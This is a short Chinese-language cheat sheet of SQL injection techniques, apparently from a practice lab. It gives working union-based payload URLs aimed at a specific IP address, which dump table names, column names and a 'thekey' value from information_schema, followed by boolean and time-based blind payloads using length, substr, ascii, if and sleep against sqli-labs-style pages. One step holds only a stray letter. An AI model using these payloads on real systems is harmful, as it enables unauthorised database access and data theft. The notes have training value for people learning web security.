union注入
1、判断是否可以注入:
单引号测试
and 测试
由上判断可以得知存在SQL注入
2、猜解字段长度
order by 2
order by 3
可以猜到字段长度为2

3、爆数据库名、数据库版本信息
a
4、爆表名
http://219.153.49.228:48204/show.php?id=-1 union select TABLE_NAME,2 from information_schema.TABLES where TABLE_SCHEMA=0x74657374 limit 0,1–

5、爆字段名
http://219.153.49.228:48204/show.php?id=-1 union select COLUMN_NAME,2 from information_schema.COLUMNS where TABLE_NAME=0x64617461 limit 3,1

6、爆字段值
http://219.153.49.228:48204/show.php?id=-1 union select thekey,2 from test.data limit 0,1–
布尔注入
 
Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
布尔型:页面只返回True和False两种类型页面。
http://127.0.0.1/Less-8/?id=1’and (length(database()))>10 --+
当前数据库database()的长度大于10,返回true页面,否则FALSE页面
时间型:通过页面沉睡时间判断
通过 sleep()函数测试,通过if()和sleep()联合逐个猜解数据
http://127.0.0.1/Less-9/?id=1’ and (if(ascii(substr(database(),1,1))>100,sleep(10),sleep(4)) --+
如果当前查询的当前数据库ascii(substr(database()),1,1)的第一个字符的ASCII码大于100,ture 沉睡10秒,FALSE 沉睡4秒